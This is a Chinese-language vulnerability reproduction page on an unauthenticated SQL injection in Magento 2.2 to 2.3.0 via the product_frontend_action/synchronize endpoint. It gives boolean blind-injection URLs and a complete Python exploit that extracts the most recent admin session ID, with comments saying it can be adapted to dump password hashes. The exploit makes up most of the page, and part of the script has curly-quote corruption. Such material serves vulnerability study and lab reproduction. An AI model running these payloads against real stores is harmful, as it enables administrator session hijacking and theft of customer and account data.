Magento_2.2_SQL注入漏洞

# Magento 2.2 SQL注入漏洞

=======================

一、漏洞简介
————

二、漏洞影响
————

Magento 2.2

三、复现过程
————

http://www.0-sec.org:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)+–+-
http://www.0-sec.org:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)+–+-

可见，在执行`))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) — -`和`))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=0) — -`时，返回的HTTP状态码不同：


通过改变OR的条件，即可实现SQL BOOL型盲注。

利用POC，可以读取管理员的session：


#!/usr/bin/env python3
# Magento 2.2.0 <= 2.3.0 Unauthenticated SQLi # Charles Fol # 2019-03-22 # # SOURCE & SINK # The sink (from-to SQL condition) has been present from Magento 1.x onwards. # The source (/catalog/product_frontend_action/synchronize) from 2.2.0. # If your target runs Magento < 2.2.0, you need to find another source. # # SQL INJECTION # The exploit can easily be modified to obtain other stuff from the DB, for # instance admin/user password hashes. # import requests import string import binascii import re import random import time import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def run(url): sqli = SQLInjection(url) try: sqli.find_test_method() sid = sqli.get_most_recent_session() except ExploitError as e: print('Error: %s' % e) def random_string(n=8): return ''.join(random.choice(string.ascii_letters) for _ in range(n)) class ExploitError(Exception): pass class Browser: """Basic browser functionality along w/ URLs and payloads. """ PROXY = None def __init__(self, URL): self.URL = URL self.s = requests.Session() self.s.verify = False if self.PROXY: self.s.proxies = { 'http': self.PROXY, 'https': self.PROXY, } class SQLInjection(Browser): """SQL injection stuff. """ def encode(self, string): return '0x' + binascii.b2a_hex(string.encode()).decode() def find_test_method(self): """Tries to inject using an error-based technique, or falls back to timebased. """ for test_method in (self.test_error, self.test_timebased): if test_method('123=123') and not test_method('123=124'): self.test = test_method break else: raise ExploitError('Test SQL injections failed, not vulnerable ?') def test_timebased(self, condition): """Runs a test. A valid condition results in a sleep of 1 second. """ payload = '))) OR (SELECT*FROM (SELECT SLEEP((%s)))a)=1 -- -' % condition r = self.s.get( self.URL + '/catalog/product_frontend_action/synchronize', params={ 'type_id': 'recently_products', 'ids[0][added_at]': '', 'ids[0][product_id][from]': '?', 'ids[0][product_id][to]': payload } ) return r.elapsed.total_seconds() > 1

def test_error(self, condition):
“””Runs a test. An invalid condition results in an SQL error.
“””
payload = ‘))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE %s) — -‘ % condition
r = self.s.get(
self.URL + ‘/catalog/product_frontend_action/synchronize’,
params={
‘type_id’: ‘recently_products’,
‘ids[0][added_at]’: ”,
‘ids[0][product_id][from]’: ‘?’,
‘ids[0][product_id][to]’: payload
}
)
if r.status_code not in (200, 400):
raise ExploitError(
‘SQL injection does not yield a correct HTTP response’
)
return r.status_code == 400

def word(self, name, sql, size=None, charset=None):
“””Dichotomically obtains a value.
“””
pattern = ‘LOCATE(SUBSTR((%s),%d,1),BINARY %s)=0’
full = ”

check = False

if size is None:
# Yeah whatever
size_size = self.word(
name,
‘LENGTH(LENGTH(%s))’ % sql,
size=1,
charset=string.digits
)
size = self.word(
name,
‘LENGTH(%s)’ % sql,
size=int(size_size),
charset=string.digits
)
size = int(size)

print(“%s: %s” % (name, full), end=’\r’)

for p in range(size):
c = charset

while len(c) > 1:
middle = len(c) // 2
h0, h1 = c[:middle], c[middle:]
condition = pattern % (sql, p+1, self.encode(h0))
c = h1 if self.test(condition) else h0

full += c
print(“%s: %s” % (name, full), end=’\r’)

print(‘ ‘ * len(“%s: %s” % (name, full)), end=’\r’)

return full

def get_most_recent_session(self):
“””Grabs the last created session. We don’t need special privileges aside from creating a product so any session
should do. Otherwise, the process can be improved by grabbing each session one by one and trying to reach the
backend.
“””
# This is the default admin session timeout
session_timeout = 900
query = (
‘SELECT %%s FROM admin_user_session ‘
‘WHERE TIMESTAMPDIFF(SECOND, updated_at, NOW()) BETWEEN 0 AND %d ‘
‘ORDER BY created_at DESC, updated_at DESC LIMIT 1’
) % session_timeout

# Check if a session is available

available = not self.test(‘(%s)=0’ % (query % ‘COUNT(*)’))

if not available:
raise ExploitError(‘No session is available’)
print(‘An admin session is available !’)

# Fetch it

sid = self.word(
‘Session ID’,
query % ‘session_id’,
charset=string.ascii_lowercase + string.digits,
size=26
)
print(‘Session ID: %s’ % sid)
return sid

run(sys.argv[1])

参考链接
——–

> https://vulhub.org/\#/environments/magento/2.2-sqli/